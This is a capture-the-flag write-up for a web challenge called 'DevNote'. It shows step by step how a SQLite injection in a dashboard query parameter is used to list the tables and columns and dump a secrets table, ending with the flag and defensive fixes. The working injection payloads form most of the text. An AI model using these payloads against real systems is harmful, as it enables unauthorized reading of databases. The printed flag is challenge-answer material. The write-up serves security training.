
DevNote (Web) - Writeup
On this page
Challenge Overview
| Event | KPMG CTF 2026 Campus Edition |
|---|---|
| Challenge | DevNote |
| Category | Web |
| Points | 10 |
| Target | kicyber-...-devnote-0-0.chals.io |
"Are you privileged enough to get the flag?"

The dashboard logs us in as guest and is honest about the target: "Only admin should have access to sensitive data," plus a "Dev Query Interface (internal use): /dashboard?q=". The prompt's "privileged enough" and that note both point the same way, the flag is sensitive data in the database, and the q parameter is the way in. This is a black-box SQL injection challenge: probe q, read the output, let each result choose the next payload.
Step 1: Fingerprint the Parameter
Feeding a bare word tells us a lot. ?q=data:

no such column: data
Our input is being treated as a column identifier inside a SQL query, not as plain text. A quote, ?q=':

unrecognized token: "'"
So q is injected straight into a SQL statement and errors are reflected back, ideal conditions. The "no such column" behaviour suggests the backend does roughly SELECT <q>, evaluating whatever expression we supply.
Step 2: Confirm Expression Evaluation
If q is evaluated as a SQLite expression, functions should work. ?q=sqlite_version():

[{'sqlite_version()': '3.46.1'}]
Confirmed: it's SQLite, and our input runs as an expression (arithmetic like 1+1, string literals, and scalar subqueries (SELECT 1) all work too). That means we can embed read-only subqueries to pull anything out of the database.
Step 3: Enumerate the Schema
SQLite keeps its schema in the sqlite_master table (a bare sqlite_master fails because it's parsed as a column, so wrap it in a subquery). List the tables:
?q=(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table')

users,secrets
Two tables, and secrets is the obvious lead given the "sensitive data" note. Now the columns, via pragma_table_info():
?q=(SELECT group_concat(name, ',') FROM pragma_table_info('users'))
→ id,username,password
?q=(SELECT group_concat(name, ',') FROM pragma_table_info('secrets'))
→ id,data

So secrets has id, data, the data column is where the flag almost certainly lives.
Step 4: Dump secrets.data
Read every row's data, joined so it comes back in one response:
?q=(SELECT group_concat(data, ' | ') FROM secrets)

KPMG_CTF{2-zN9hgTCGlzbxRufhj8HtEFVD1gggiogLGmRaquW-XK}
The author simply stored the flag in the secrets table, exactly what a guest was never supposed to reach.
Summary
| Step | Payload (q=) | Result |
|---|---|---|
| 1 | data / ' | Input parsed as SQL (column / token errors) |
| 2 | sqlite_version() | 3.46.1 → expression evaluation, SQLite |
| 3 | (SELECT group_concat(name,',') FROM sqlite_master WHERE type='table') | users,secrets |
| 3 | (SELECT group_concat(name,',') FROM pragma_table_info('secrets')) | id,data |
| 4 | (SELECT group_concat(data,' | ') FROM secrets) | Flag |
Key Takeaways
- Let error messages fingerprint the backend.
no such column: dataandunrecognized token: "'"revealed both that input was concatenated into SQL and that it was SQLite, before any real payload. - Expression context still lets you read everything. Even though
qis just a scalar expression (not a fullUNION-style injection), scalar subqueries(SELECT ... FROM ...)reach any table. A narrow-looking injection point is rarely actually narrow. sqlite_master+pragma_table_info()are the SQLite recon pair. List tables fromsqlite_master, list columns frompragma_table_info('<t>'). Wrap them in subqueries so they aren't parsed as identifiers.- Don't reach for OS/file-write exploits first. The challenge warned about data access; the database held the flag. Match your technique to the hint instead of trying command injection blindly.
- Fixes: never evaluate user-supplied SQL, delete "dev query" endpoints from production, use parameterized queries, enforce server-side authorization on sensitive tables, and stop reflecting raw DB errors to users.
Flag: KPMG_CTF{2-zN9hgTCGlzbxRufhj8HtEFVD1gggiogLGmRaquW-XK}